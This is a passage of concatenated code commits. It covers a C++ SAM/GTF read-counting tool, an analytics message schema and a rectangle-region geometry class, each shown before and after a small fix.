delete[] args;
return -1;
}
}
}
delete[] args;
return 0;
}
void skipCommand(Tok::iterator &it, Tok &tokens){
while(it != tokens.end() && *it != ";"){
it++;
}
}
void splitString(char** args, stringstream& ss, int n){
string *str = new string[n];
for(int i = 0; i < n; i++){
ss >> str[i];
args[i] = (char*) str[i].c_str();
}
args[n] = NULL;
char exitC[] = "exit";
if(strcmp(args[0], exitC) == 0){
cout << endl;
exit(0);
}
delete[] str;
}
<|endoftext|> |
<commit_before>
/* A simple program to count reads. Similar to htseq-count, but much much
* faster. */
#include <cstdio>
#include <getopt.h>
#include "logger.hpp"
#include "read_set.hpp"
#include "transcripts.hpp"
#include "trie.hpp"
#include "samtools/sam.h"
#include "samtools/samtools_extra.h"
extern "C" {
#include "samtools/khash.h"
KHASH_MAP_INIT_STR(s, int)
static void supress_khash_unused_function_warnings() __attribute__ ((unused));
static void supress_khash_unused_function_warnings()
{
UNUSED(kh_init_s);
UNUSED(kh_destroy_s);
UNUSED(kh_put_s);
UNUSED(kh_clear_s);
UNUSED(kh_del_s);
}
}
enum Stranded {
STRANDED_NONE,
STRANDED_FORWARD,
STRANDED_REVERSE
};
static void print_usage(FILE* out)
{
fprintf(out, "Usage: samcnt sam_file gtf_file\n");
}
static void print_help(FILE* out)
{
print_usage(out);
fprintf(out,
"\n"
"Arguments:\n"
" -h, --help print this message\n"
" -o, --output=FILE print the count table to this file\n"
" -s, --stranded=STRANDED count in strand specific manner. STRANDED\n"
" is one of \"yes\", \"no\", or \"reverse\".\n"
" (default: no)\n"
" -t, --type=TYPE GTF/GFF feature to use (default: exon)\n"
" -i, --id-attr=ID sum counts that share this attribute\n"
" (default: gene_id)\n"
" -I, --transcript-attr=ID attribute used to define transcripts\n"
" (default: transcript_id)\n"
"\n");
}
struct MateCount {
MateCount() : mate1_count(0), mate2_count(0) {}
unsigned int mate1_count, mate2_count;
};
struct CountInterval {
CountInterval(const TranscriptSetLocus& locus, int tid)
: locus(locus)
, tid(tid)
{}
bool operator < (const CountInterval& other) const
{
if (tid != other.tid) return tid < other.tid;
else if (locus.min_start != other.locus.min_start) {
return locus.min_start < other.locus.min_start;
}
else {
return locus.max_end < other.locus.max_end;
}
}
TranscriptSetLocus locus;
int tid;
};
static void process_locus(TrieMap<unsigned long>& counts,
const TranscriptSetLocus& locus,
const ReadSet& rs, Stranded stranded)
{
for (ReadSetIterator r(rs); r != ReadSetIterator(); ++r) {
AlignedReadIterator aln(*r->second);
if (aln == AlignedReadIterator()) continue;
const AlignmentPair& frag = *aln;
GeneID gene_id;
for (TranscriptSetLocus::const_iterator t = locus.begin();
t != locus.end(); ++t) {
if (stranded == STRANDED_FORWARD &&
((frag.mate1 && frag.mate1->strand != t->strand) ||
(frag.mate2 && frag.mate2->strand == t->strand))) {
continue;
}
else if (stranded == STRANDED_REVERSE &&
((frag.mate1 && frag.mate1->strand == t->strand) ||
(frag.mate2 && frag.mate2->strand != t->strand))) {
continue;
}
if (frag.frag_len(*t) >= 0) {
if (gene_id != GeneID() && gene_id != t->gene_id) {
gene_id = GeneID();
break;
}
else {
gene_id = t->gene_id;
}
}
}
if (gene_id != GeneID()) {
counts[gene_id.get().c_str()] += 1;
}
}
}
int main(int argc, char* argv[])
{
int opt, opt_idx;
const char* output_filename = "-";
static struct option long_options[] =
{
{"help", no_argument, NULL, 'h'},
{"output", required_argument, NULL, 'o'},
{"stranded", required_argument, NULL, 's'},
{"type", required_argument, NULL, 't'},
{"transcript-attr", required_argument, NULL, 'I'},
{"id-attr", required_argument, NULL, 'i'},
{0, 0, 0, 0}
};
const char* feature = "exon";
const char* gid_attr = "gene_id";
const char* tid_attr = "transcript_id";
Stranded stranded = STRANDED_NONE;
while (true) {
opt = getopt_long(argc, argv, "ho:s:t:I:i:", long_options, &opt_idx);
if (opt == -1) break;
switch (opt) {
case 'h':
print_help(stdout);
return EXIT_FAILURE;
case 'o':
output_filename = optarg;
break;
case 's':
if (strcmp(optarg, "yes") == 0 || strcmp(optarg, "forward") == 0) {
stranded = STRANDED_FORWARD;
}
else if (strcmp(optarg, "no") == 0 || strcmp(optarg, "none") == 0) {
stranded = STRANDED_NONE;
}
else if (strcmp(optarg, "reverse") == 0) {
stranded = STRANDED_REVERSE;
}
else {
fprintf(stderr, "\"%s\" is not a valid argument for \"--stranded\"\n", optarg);
return EXIT_FAILURE;
}
break;
case 't':
feature = optarg;
break;
case 'i':
gid_attr = optarg;
break;
case 'I':
tid_attr = optarg;
break;
case '?':
fprintf(stderr, "\n");
print_help(stderr);
return EXIT_FAILURE;
default:
abort();
}
}
FILE* output_file = stdout;
if (strcmp(output_filename, "-") != 0) {
output_file = fopen(output_filename, "w");
if (!output_file) {
Logger::abort("Unable to open %s for writing.", output_filename);
}
}
if (optind + 1 >= argc) {
print_usage(stderr);
return EXIT_FAILURE;
}
const char* sam_filename = argv[optind];
const char* gtf_filename = argv[optind+1];
TranscriptSet transcripts;
transcripts.read_gtf(gtf_filename, 0, feature, tid_attr, gid_attr);
// Make one pass over the reads to count how many alignments each has.
TrieMap<MateCount> aln_counts;
samfile_t* sam_file;
sam_file = samopen(sam_filename, "rb", NULL);
if (!sam_file) {
sam_file = samopen(sam_filename, "r", NULL);
}
if (!sam_file) {
Logger::abort("Can't open SAM/BAM file %s.", sam_filename);
}
bam1_t* b = bam_init1();
int last_tid = -1;
pos_t last_pos = -1;
while (samread(sam_file, b) >= 0) {
if (b->core.tid == -1) continue;
if (b->core.tid < last_tid ||
(b->core.tid == last_tid && b->core.pos < last_pos)) {
Logger::abort("Can't proceed. SAM/BAM file must be sorted.");
}
last_tid = b->core.tid;
last_pos = b->core.pos;
MateCount& count = aln_counts[bam1_qname(b)];
if (b->core.flag & BAM_FREAD2) {
++count.mate2_count;
}
else {
++count.mate1_count;
}
}
samclose(sam_file);
// Make second pass to actually count reads.
std::vector<CountInterval> intervals;
for (TranscriptSetLocusIterator t(transcripts);
t != TranscriptSetLocusIterator(); ++t) {
intervals.push_back(CountInterval(*t, -1));
}
sam_file = samopen(sam_filename, "rb", NULL);
if (!sam_file) {
sam_file = samopen(sam_filename, "r", NULL);
}
if (!sam_file) {
Logger::abort("Can't open SAM/BAM file %s.", sam_filename);
}
// sort intervals in the same order as the BAM file
bam_init_header_hash(sam_file->header);
khash_t(s)* tbl = reinterpret_cast<khash_t(s)*>(sam_file->header->hash);
khiter_t k;
for (std::vector<CountInterval>::iterator i = intervals.begin();
i != intervals.end(); ++i) {
const char* seqname = i->locus.seqname.get().c_str();
k = kh_get(s, tbl, seqname);
if (k == kh_end(tbl)) i->tid = -1;
else i->tid = kh_value(tbl, k);
}
std::sort(intervals.begin(), intervals.end());
TrieMap<unsigned long> counts;
for (TranscriptSet::iterator t = transcripts.begin();
t != transcripts.end(); ++t) {
counts[t->gene_id.get().c_str()] = 0;
}
ReadSet rs;
size_t i = 0; // index into intervals
while (samread(sam_file, b) >= 0 && i < intervals.size()) {
pos_t start_pos = b->core.pos;
pos_t end_pos = bam_calend(&b->core, bam1_cigar(b));
// skip reads with multiple alignments
MateCount& count = aln_counts[bam1_qname(b)];
if (count.mate1_count > 1 || count.mate2_count > 1) {
continue;
}
while(i < intervals.size() && (b->core.tid > intervals[i].tid ||
(b->core.tid == intervals[i].tid &&
start_pos > intervals[i].locus.max_end))) {
process_locus(counts, intervals[i].locus, rs, stranded);
rs.clear();
++i;
}
if (i >= intervals.size()) break;
if (b->core.tid < intervals[i].tid) continue;
if (b->core.tid == intervals[i].tid) {
if (start_pos < intervals[i].locus.min_start) continue;
if (start_pos <= intervals[i].locus.max_end &&
end_pos >= intervals[i].locus.min_start) {
rs.add_alignment(b);
continue;
}
}
}
samclose(sam_file);
bam_destroy1(b);
// print output
fprintf(output_file, "id\tcount\n");
for (TrieMapIterator<unsigned long> c(counts);
c != TrieMapIterator<unsigned long>(); ++c) {
fprintf(output_file, "%s\t%lu\n", c->first, *c->second);
}
if (output_file != stdout) fclose(output_file);
return EXIT_SUCCESS;
}
<commit_msg>Fix samcnt regression.<commit_after>
/* A simple program to count reads. Similar to htseq-count, but much much
* faster. */
#include <cstdio>
#include <getopt.h>
#include "logger.hpp"
#include "read_set.hpp"
#include "transcripts.hpp"
#include "trie.hpp"
#include "samtools/sam.h"
#include "samtools/samtools_extra.h"
extern "C" {
#include "samtools/khash.h"
KHASH_MAP_INIT_STR(s, int)
static void supress_khash_unused_function_warnings() __attribute__ ((unused));
static void supress_khash_unused_function_warnings()
{
UNUSED(kh_init_s);
UNUSED(kh_destroy_s);
UNUSED(kh_put_s);
UNUSED(kh_clear_s);
UNUSED(kh_del_s);
}
}
enum Stranded {
STRANDED_NONE,
STRANDED_FORWARD,
STRANDED_REVERSE
};
static void print_usage(FILE* out)
{
fprintf(out, "Usage: samcnt sam_file gtf_file\n");
}
static void print_help(FILE* out)
{
print_usage(out);
fprintf(out,
"\n"
"Arguments:\n"
" -h, --help print this message\n"
" -o, --output=FILE print the count table to this file\n"
" -s, --stranded=STRANDED count in strand specific manner. STRANDED\n"
" is one of \"yes\", \"no\", or \"reverse\".\n"
" (default: no)\n"
" -t, --type=TYPE GTF/GFF feature to use (default: exon)\n"
" -i, --id-attr=ID sum counts that share this attribute\n"
" (default: gene_id)\n"
" -I, --transcript-attr=ID attribute used to define transcripts\n"
" (default: transcript_id)\n"
"\n");
}
struct MateCount {
MateCount() : mate1_count(0), mate2_count(0) {}
unsigned int mate1_count, mate2_count;
};
struct CountInterval {
CountInterval(const TranscriptSetLocus& locus, int tid)
: locus(locus)
, tid(tid)
{}
bool operator < (const CountInterval& other) const
{
if (tid != other.tid) return tid < other.tid;
else if (locus.min_start != other.locus.min_start) {
return locus.min_start < other.locus.min_start;
}
else {
return locus.max_end < other.locus.max_end;
}
}
TranscriptSetLocus locus;
int tid;
};
static void process_locus(TrieMap<unsigned long>& counts,
const TranscriptSetLocus& locus,
const ReadSet& rs, Stranded stranded)
{
for (ReadSetIterator r(rs); r != ReadSetIterator(); ++r) {
AlignedReadIterator aln(*r->second);
if (aln == AlignedReadIterator()) continue;
const AlignmentPair& frag = *aln;
GeneID gene_id;
for (TranscriptSetLocus::const_iterator t = locus.begin();
t != locus.end(); ++t) {
if (stranded == STRANDED_FORWARD &&
((frag.mate1 && frag.mate1->strand != t->strand) ||
(frag.mate2 && frag.mate2->strand == t->strand))) {
continue;
}
else if (stranded == STRANDED_REVERSE &&
((frag.mate1 && frag.mate1->strand == t->strand) ||
(frag.mate2 && frag.mate2->strand != t->strand))) {
continue;
}
if (frag.frag_len(*t) >= 0) {
if (gene_id != GeneID() && gene_id != t->gene_id) {
gene_id = GeneID();
break;
}
else {
gene_id = t->gene_id;
}
}
}
if (gene_id != GeneID()) {
counts[gene_id.get().c_str()] += 1;
}
}
}
int main(int argc, char* argv[])
{
int opt, opt_idx;
const char* output_filename = "-";
static struct option long_options[] =
{
{"help", no_argument, NULL, 'h'},
{"output", required_argument, NULL, 'o'},
{"stranded", required_argument, NULL, 's'},
{"type", required_argument, NULL, 't'},
{"transcript-attr", required_argument, NULL, 'I'},
{"id-attr", required_argument, NULL, 'i'},
{0, 0, 0, 0}
};
const char* feature = "exon";
const char* gid_attr = "gene_id";
const char* tid_attr = "transcript_id";
Stranded stranded = STRANDED_NONE;
while (true) {
opt = getopt_long(argc, argv, "ho:s:t:I:i:", long_options, &opt_idx);
if (opt == -1) break;
switch (opt) {
case 'h':
print_help(stdout);
return EXIT_FAILURE;
case 'o':
output_filename = optarg;
break;
case 's':
if (strcmp(optarg, "yes") == 0 || strcmp(optarg, "forward") == 0) {
stranded = STRANDED_FORWARD;
}
else if (strcmp(optarg, "no") == 0 || strcmp(optarg, "none") == 0) {
stranded = STRANDED_NONE;
}
else if (strcmp(optarg, "reverse") == 0) {
stranded = STRANDED_REVERSE;
}
else {
fprintf(stderr, "\"%s\" is not a valid argument for \"--stranded\"\n", optarg);
return EXIT_FAILURE;
}
break;
case 't':
feature = optarg;
break;
case 'i':
gid_attr = optarg;
break;
case 'I':
tid_attr = optarg;
break;
case '?':
fprintf(stderr, "\n");
print_help(stderr);
return EXIT_FAILURE;
default:
abort();
}
}
FILE* output_file = stdout;
if (strcmp(output_filename, "-") != 0) {
output_file = fopen(output_filename, "w");
if (!output_file) {
Logger::abort("Unable to open %s for writing.", output_filename);
}
}
if (optind + 1 >= argc) {
print_usage(stderr);
return EXIT_FAILURE;
}
const char* sam_filename = argv[optind];
const char* gtf_filename = argv[optind+1];
TranscriptSet transcripts;
transcripts.read_gtf(gtf_filename, 0, false, feature, tid_attr, gid_attr);
// Make one pass over the reads to count how many alignments each has.
TrieMap<MateCount> aln_counts;
samfile_t* sam_file;
sam_file = samopen(sam_filename, "rb", NULL);
if (!sam_file) {
sam_file = samopen(sam_filename, "r", NULL);
}
if (!sam_file) {
Logger::abort("Can't open SAM/BAM file %s.", sam_filename);
}
bam1_t* b = bam_init1();
int last_tid = -1;
pos_t last_pos = -1;
while (samread(sam_file, b) >= 0) {
if (b->core.tid == -1) continue;
if (b->core.tid < last_tid ||
(b->core.tid == last_tid && b->core.pos < last_pos)) {
Logger::abort("Can't proceed. SAM/BAM file must be sorted.");
}
last_tid = b->core.tid;
last_pos = b->core.pos;
MateCount& count = aln_counts[bam1_qname(b)];
if (b->core.flag & BAM_FREAD2) {
++count.mate2_count;
}
else {
++count.mate1_count;
}
}
samclose(sam_file);
// Make second pass to actually count reads.
std::vector<CountInterval> intervals;
for (TranscriptSetLocusIterator t(transcripts);
t != TranscriptSetLocusIterator(); ++t) {
intervals.push_back(CountInterval(*t, -1));
}
sam_file = samopen(sam_filename, "rb", NULL);
if (!sam_file) {
sam_file = samopen(sam_filename, "r", NULL);
}
if (!sam_file) {
Logger::abort("Can't open SAM/BAM file %s.", sam_filename);
}
// sort intervals in the same order as the BAM file
bam_init_header_hash(sam_file->header);
khash_t(s)* tbl = reinterpret_cast<khash_t(s)*>(sam_file->header->hash);
khiter_t k;
for (std::vector<CountInterval>::iterator i = intervals.begin();
i != intervals.end(); ++i) {
const char* seqname = i->locus.seqname.get().c_str();
k = kh_get(s, tbl, seqname);
if (k == kh_end(tbl)) i->tid = -1;
else i->tid = kh_value(tbl, k);
}
std::sort(intervals.begin(), intervals.end());
TrieMap<unsigned long> counts;
for (TranscriptSet::iterator t = transcripts.begin();
t != transcripts.end(); ++t) {
counts[t->gene_id.get().c_str()] = 0;
}
ReadSet rs;
size_t i = 0; // index into intervals
while (samread(sam_file, b) >= 0 && i < intervals.size()) {
pos_t start_pos = b->core.pos;
pos_t end_pos = bam_calend(&b->core, bam1_cigar(b));
// skip reads with multiple alignments
MateCount& count = aln_counts[bam1_qname(b)];
if (count.mate1_count > 1 || count.mate2_count > 1) {
continue;
}
while(i < intervals.size() && (b->core.tid > intervals[i].tid ||
(b->core.tid == intervals[i].tid &&
start_pos > intervals[i].locus.max_end))) {
process_locus(counts, intervals[i].locus, rs, stranded);
rs.clear();
++i;
}
if (i >= intervals.size()) break;
if (b->core.tid < intervals[i].tid) continue;
if (b->core.tid == intervals[i].tid) {
if (start_pos < intervals[i].locus.min_start) continue;
if (start_pos <= intervals[i].locus.max_end &&
end_pos >= intervals[i].locus.min_start) {
rs.add_alignment(b);
continue;
}
}
}
samclose(sam_file);
bam_destroy1(b);
// print output
fprintf(output_file, "id\tcount\n");
for (TrieMapIterator<unsigned long> c(counts);
c != TrieMapIterator<unsigned long>(); ++c) {
fprintf(output_file, "%s\t%lu\n", c->first, *c->second);
}
if (output_file != stdout) fclose(output_file);
return EXIT_SUCCESS;
}
<|endoftext|> |
<commit_before>/**
* Copyright (c) 2015 - The CM Authors <legal@clickmatcher.com>
* All Rights Reserved.
*
* This file is CONFIDENTIAL -- Distribution or duplication of this material or
* the information contained herein is strictly forbidden unless prior written
* permission is obtained.
*/
#include "schemas.h"
using namespace cm;
using namespace fnord;
namespace cm {
msg::MessageSchema joinedSessionsSchema() {
Vector<msg::MessageSchemaField> fields;
msg::MessageSchemaField queries(
16,
"queries",
msg::FieldType::OBJECT,
0,
true,
false);
queries.fields.emplace_back(
18,
"time",
msg::FieldType::UINT32,
0xffffffff,
false,
false);
queries.fields.emplace_back(
1,
"page",
msg::FieldType::UINT32,
100,
false,
true,
msg::EncodingHint::BITPACK);
queries.fields.emplace_back(
2,
"language",
msg::FieldType::UINT32,
kMaxLanguage,
false,
false,
msg::EncodingHint::BITPACK);
queries.fields.emplace_back(
3,
"query_string",
msg::FieldType::STRING,
8192,
false,
true);
queries.fields.emplace_back(
4,
"query_string_normalized",
msg::FieldType::STRING,
8192,
false,
true);
queries.fields.emplace_back(
5,
"num_items",
msg::FieldType::UINT32,
250,
false,
false,
msg::EncodingHint::BITPACK);
queries.fields.emplace_back(
6,
"num_items_clicked",
msg::FieldType::UINT32,
250,
false,
false,
msg::EncodingHint::BITPACK);
queries.fields.emplace_back(
7,
"num_ad_impressions",
msg::FieldType::UINT32,
250,
false,
false,
msg::EncodingHint::BITPACK);
queries.fields.emplace_back(
8,
"num_ad_clicks",
msg::FieldType::UINT32,
250,
false,
false,
msg::EncodingHint::BITPACK);
queries.fields.emplace_back(
9,
"ab_test_group",
msg::FieldType::UINT32,
100,
false,
true,
msg::EncodingHint::BITPACK);
queries.fields.emplace_back(
10,
"device_type",
msg::FieldType::UINT32,
kMaxDeviceType,
false,
false,
msg::EncodingHint::BITPACK);
queries.fields.emplace_back(
11,
"page_type",
msg::FieldType::UINT32,
kMaxPageType,
false,
false,
msg::EncodingHint::BITPACK);
queries.fields.emplace_back(
12,
"category1",
msg::FieldType::UINT32,
0xffff,
false,
true,
msg::EncodingHint::BITPACK);
queries.fields.emplace_back(
13,
"category2",
msg::FieldType::UINT32,
0xffff,
false,
true,
msg::EncodingHint::BITPACK);
queries.fields.emplace_back(
14,
"category3",
msg::FieldType::UINT32,
0xffff,
false,
true,
msg::EncodingHint::BITPACK);
msg::MessageSchemaField query_items(
17,
"items",
msg::FieldType::OBJECT,
0,
true,
false);
query_items.fields.emplace_back(
19,
"position",
msg::FieldType::UINT32,
64,
false,
false,
msg::EncodingHint::BITPACK);
query_items.fields.emplace_back(
15,
"clicked",
msg::FieldType::BOOLEAN,
0,
false,
false);
query_items.fields.emplace_back(
20,
"item_id",
msg::FieldType::STRING,
1024,
false,
false);
query_items.fields.emplace_back(
21,
"shop_id",
msg::FieldType::UINT32,
0xffffffff,
false,
true,
msg::EncodingHint::LEB128);
query_items.fields.emplace_back(
22,
"category1",
msg::FieldType::UINT32,
0xffff,
false,
true,
msg::EncodingHint::BITPACK);
query_items.fields.emplace_back(
23,
"category2",
msg::FieldType::UINT32,
0xffff,
false,
true,
msg::EncodingHint::BITPACK);
query_items.fields.emplace_back(
24,
"category3",
msg::FieldType::UINT32,
0xffff,
false,
true,
msg::EncodingHint::BITPACK);
queries.fields.emplace_back(query_items);
fields.emplace_back(queries);
return msg::MessageSchema("joined_session", fields);
}
}
<commit_msg>encode a bunch of fields als LEB128...<commit_after>/**
* Copyright (c) 2015 - The CM Authors <legal@clickmatcher.com>
* All Rights Reserved.
*
* This file is CONFIDENTIAL -- Distribution or duplication of this material or
* the information contained herein is strictly forbidden unless prior written
* permission is obtained.
*/
#include "schemas.h"
using namespace cm;
using namespace fnord;
namespace cm {
msg::MessageSchema joinedSessionsSchema() {
Vector<msg::MessageSchemaField> fields;
msg::MessageSchemaField queries(
16,
"queries",
msg::FieldType::OBJECT,
0,
true,
false);
queries.fields.emplace_back(
18,
"time",
msg::FieldType::UINT32,
0xffffffff,
false,
false);
queries.fields.emplace_back(
1,
"page",
msg::FieldType::UINT32,
100,
false,
true,
msg::EncodingHint::BITPACK);
queries.fields.emplace_back(
2,
"language",
msg::FieldType::UINT32,
kMaxLanguage,
false,
false,
msg::EncodingHint::BITPACK);
queries.fields.emplace_back(
3,
"query_string",
msg::FieldType::STRING,
8192,
false,
true);
queries.fields.emplace_back(
4,
"query_string_normalized",
msg::FieldType::STRING,
8192,
false,
true);
queries.fields.emplace_back(
5,
"num_items",
msg::FieldType::UINT32,
250,
false,
false,
msg::EncodingHint::BITPACK);
queries.fields.emplace_back(
6,
"num_items_clicked",
msg::FieldType::UINT32,
250,
false,
false,
msg::EncodingHint::BITPACK);
queries.fields.emplace_back(
7,
"num_ad_impressions",
msg::FieldType::UINT32,
250,
false,
false,
msg::EncodingHint::BITPACK);
queries.fields.emplace_back(
8,
"num_ad_clicks",
msg::FieldType::UINT32,
250,
false,
false,
msg::EncodingHint::BITPACK);
queries.fields.emplace_back(
9,
"ab_test_group",
msg::FieldType::UINT32,
100,
false,
true,
msg::EncodingHint::BITPACK);
queries.fields.emplace_back(
10,
"device_type",
msg::FieldType::UINT32,
kMaxDeviceType,
false,
false,
msg::EncodingHint::BITPACK);
queries.fields.emplace_back(
11,
"page_type",
msg::FieldType::UINT32,
kMaxPageType,
false,
false,
msg::EncodingHint::BITPACK);
queries.fields.emplace_back(
12,
"category1",
msg::FieldType::UINT32,
0xffff,
false,
true,
msg::EncodingHint::LEB128);
queries.fields.emplace_back(
13,
"category2",
msg::FieldType::UINT32,
0xffff,
false,
true,
msg::EncodingHint::LEB128);
queries.fields.emplace_back(
14,
"category3",
msg::FieldType::UINT32,
0xffff,
false,
true,
msg::EncodingHint::LEB128);
msg::MessageSchemaField query_items(
17,
"items",
msg::FieldType::OBJECT,
0,
true,
false);
query_items.fields.emplace_back(
19,
"position",
msg::FieldType::UINT32,
64,
false,
false,
msg::EncodingHint::BITPACK);
query_items.fields.emplace_back(
15,
"clicked",
msg::FieldType::BOOLEAN,
0,
false,
false);
query_items.fields.emplace_back(
20,
"item_id",
msg::FieldType::STRING,
1024,
false,
false);
query_items.fields.emplace_back(
21,
"shop_id",
msg::FieldType::UINT32,
0xffffffff,
false,
true,
msg::EncodingHint::LEB128);
query_items.fields.emplace_back(
22,
"category1",
msg::FieldType::UINT32,
0xffff,
false,
true,
msg::EncodingHint::LEB128);
query_items.fields.emplace_back(
23,
"category2",
msg::FieldType::UINT32,
0xffff,
false,
true,
msg::EncodingHint::LEB128);
query_items.fields.emplace_back(
24,
"category3",
msg::FieldType::UINT32,
0xffff,
false,
true,
msg::EncodingHint::LEB128);
queries.fields.emplace_back(query_items);
fields.emplace_back(queries);
return msg::MessageSchema("joined_session", fields);
}
}
<|endoftext|> |
<commit_before>/*
Copyright (C) 2001 by Christopher Nelson
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Library General Public
License as published by the Free Software Foundation; either
version 2 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Library General Public License for more details.
You should have received a copy of the GNU Library General Public
License along with this library; if not, write to the Free
Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#include "cssysdef.h"
#include "csgeom/csrectrg.h"
#include <stdio.h>
const int MODE_EXCLUDE=0;
const int MODE_INCLUDE=1;
csRectRegion::csRectRegion() : region(0), region_count(0), region_max(0) {}
csRectRegion::~csRectRegion()
{
if (region != 0)
free(region);
}
void csRectRegion::pushRect(csRect const &r)
{
if (region_count >= region_max)
{
region_max += 64;
int const nbytes = region_max * sizeof(region[0]);
if (region == 0)
region = (csRect*)malloc(nbytes);
else
region = (csRect*)realloc(region, nbytes);
}
region[region_count++] = r;
}
void csRectRegion::deleteRect(int i)
{
if (region_count > 0 && i >= 0 && i < --region_count)
memmove(region + i, region + i + 1, (region_count - i) * sizeof(region[0]));
}
void
csRectRegion::makeEmpty()
{
region_count=0;
}
// This operation takes a rect r1 which completely contains rect r2
// and turns it into as many rects as it takes to exclude r2 from the
// area controlled by r1.
void
csRectRegion::fragmentContainedRect(csRect &r1t, csRect &r2t)
{
// Edge flags
const unsigned int LX=1, TY=2, RX=4, BY=8;
unsigned int edges=0;
csRect r1(r1t), r2(r2t);
// First check for edging.
edges |= (r1.xmin == r2.xmin ? LX : 0);
edges |= (r1.ymin == r2.ymin ? TY : 0);
edges |= (r1.xmax == r2.xmax ? RX : 0);
edges |= (r1.ymax == r2.ymax ? BY : 0);
//printf("csrectrgn: fragmenting with rule %d\n", edges);
//printf("\t%d,%d,%d,%d\n", r1.xmin, r1.ymin, r1.xmax, r1.ymax);
//printf("\t%d,%d,%d,%d\n", r2.xmin, r2.ymin, r2.xmax, r2.ymax);
switch(edges)
{
case 0:
// This is the easy case. Split the r1 into four pieces that exclude r2.
// The include function pre-checks for this case and exits, so it is
// properly handled.
pushRect(csRect(r1.xmin, r1.ymin, r2.xmin-1, r1.ymax)); //left
pushRect(csRect(r2.xmax+1, r1.ymin, r1.xmax, r1.ymax)); //right
pushRect(csRect(r2.xmin, r1.ymin, r2.xmax, r2.ymin-1)); //top
pushRect(csRect(r2.xmin, r2.ymax+1, r2.xmax, r1.ymax)); //bottom
return;
case 1:
// Three rects (top, right, bottom) [rect on left side, middle]
pushRect(csRect(r1.xmin, r1.ymin, r1.xmax, r2.ymin-1)); //top
pushRect(csRect(r2.xmax+1, r2.ymin, r1.xmax, r2.ymax)); //right
pushRect(csRect(r1.xmin, r2.ymax+1, r1.xmax, r1.ymax)); //bot
return;
case 2:
// Three rects (bot, left, right) [rect on top side, middle]
pushRect(csRect(r1.xmin, r2.ymax+1, r1.xmax, r1.ymax)); //bot
pushRect(csRect(r1.xmin, r1.ymin, r2.xmin-1, r2.ymax)); //left
pushRect(csRect(r2.xmax+1, r1.ymin, r1.xmax, r2.ymax)); //right
return;
case 3:
// Two rects (right, bottom) [rect on top left corner]
pushRect(csRect(r2.xmax+1, r1.ymin, r1.xmax, r2.ymax)); //right
pushRect(csRect(r1.xmin, r2.ymax+1, r1.xmax, r1.ymax)); //bot
return;
case 4:
// Three rects (top, left, bottom) [rect on right side, middle]
pushRect(csRect(r1.xmin, r1.ymin, r1.xmax, r2.ymin-1)); //top
pushRect(csRect(r1.xmin, r2.ymin, r2.xmin-1, r2.ymax)); //left
pushRect(csRect(r1.xmin, r2.ymax+1, r1.xmax, r1.ymax)); //bot
return;
case 5:
// Two rects (top, bottom) [rect in middle, horizontally touches left and right sides]
pushRect(csRect(r1.xmin, r1.ymin, r1.xmax, r2.ymin-1)); //top
pushRect(csRect(r1.xmin, r2.ymax+1, r1.xmax, r1.ymax)); //bot
return;
case 6:
// Two rects (left, bottom) [rect on top, right corner]
pushRect(csRect(r1.xmin, r1.ymin, r2.xmin-1, r1.ymax)); //left
pushRect(csRect(r2.xmin, r2.ymax+1, r1.xmax, r1.ymax)); //bot
return;
case 7:
// One rect (bottom) [rect covers entire top]
pushRect(csRect(r1.xmin, r2.ymax+1, r1.xmax, r1.ymax)); //bot
return;
case 8:
// Three rects (top, left, right) [rect on bottom side, middle]
pushRect(csRect(r1.xmin, r1.ymin, r1.xmax, r2.ymin-1)); //top
pushRect(csRect(r1.xmin, r2.ymin, r2.xmin-1, r1.ymax)); //left
pushRect(csRect(r2.xmax+1, r2.ymin, r1.xmax, r1.ymax)); //right
return;
case 9:
// Two rects (right, top) [rect on bottom, left corner]
pushRect(csRect(r2.xmax+1, r2.ymin, r1.xmax, r1.ymax)); //right
pushRect(csRect(r1.xmin, r1.ymin, r1.xmax, r2.ymin-1)); //top
return;
case 10:
// Two rects (left, right) [rect in middle, vertically touches top and bottom sides]
pushRect(csRect(r1.xmin, r1.ymin, r2.xmin-1, r1.ymax)); //left
pushRect(csRect(r2.xmax+1, r1.ymin, r1.xmax, r1.ymax)); //right
return;
case 11:
// One rect (right) [rect on left, vertically touches top and bottom sides]
pushRect(csRect(r2.xmax+1, r1.ymin, r1.xmax, r1.ymax)); //right
return;
case 12:
// Two rects (left, top) [rect on bottom, right corner]
pushRect(csRect(r1.xmin, r1.ymin, r2.xmin-1, r1.ymax)); //left
pushRect(csRect(r2.xmin, r1.ymin, r1.xmax, r2.ymin-1)); //top
return;
case 13:
// One rect (top) [rect on bottom, horizontally touches left and right sides]
pushRect(csRect(r1.xmin, r1.ymin, r1.xmax, r2.ymin-1)); //top
return;
case 14:
// One rect (left) [rect on right, vertically touches top and bottom ]
pushRect(csRect(r1.xmin, r1.ymin, r2.xmin-1, r1.ymax)); //bottom
return;
case 15:
// No rects
// In this case, the rects cancel themselves out.
// Include needs to special case this, otherwise it will not
// be handled correctly.
return;
}
}
// The purpose of this function is to take r1 and fragment it around r2,
// removing the area that overlaps. This function can be used by either
// Include() or Exclude(), since it simply fragments r1 (but always checks
// for swapping!) For Exclusion, r2 is ALWAYS the excluding rect!
void csRectRegion::fragmentRect(csRect &r1, csRect &r2, int mode)
{
// We may have to fragment r1 into three pieces if an entire edge of r2 is
// inside r1.
if (r1.Intersects(r2))
{
// Since fragment rect already test for all cases, the ideal method here is to call
// fragment rect on the intersection of r1 and r2 with r1 as the fragmentee. This
// creates a properly fragmented system.
//
// We know that rect1 is already good, so we simply fragment rect2 and gather it's
// fragments into the fragment buffer for further consideration.
//
// In exclude mode, we don't want to remove parts of r2 from r1, whereas in include
// mode we want to perform an optimal merge of the two, or remove parts of r1 from r2.
csRect ri(r1);
ri.Intersect(r2);
if (mode==MODE_INCLUDE)
{
if (r1.Area() < r2.Area())
{
csRect temp(r1);
r1.Set(r2);
r2.Set(temp);
}
// Push r1 back into the regions list
pushRect(r1);
// Perform fragment and gather.
markForGather();
fragmentContainedRect(r2, ri);
gatherFragments();
}
else
{
// Fragment inclusion rect around intersection (keep)
fragmentContainedRect(r1, ri);
}
return;
}
}
void
csRectRegion::markForGather()
{
gather_mark=region_count;
}
void
csRectRegion::gatherFragments()
{
int i,j=gather_mark;
while(j<region_count)
{
for(i=0; i<32; ++i)
if (fragment[i].IsEmpty())
{
fragment[i].Set(region[j]);
j++;
break;
}
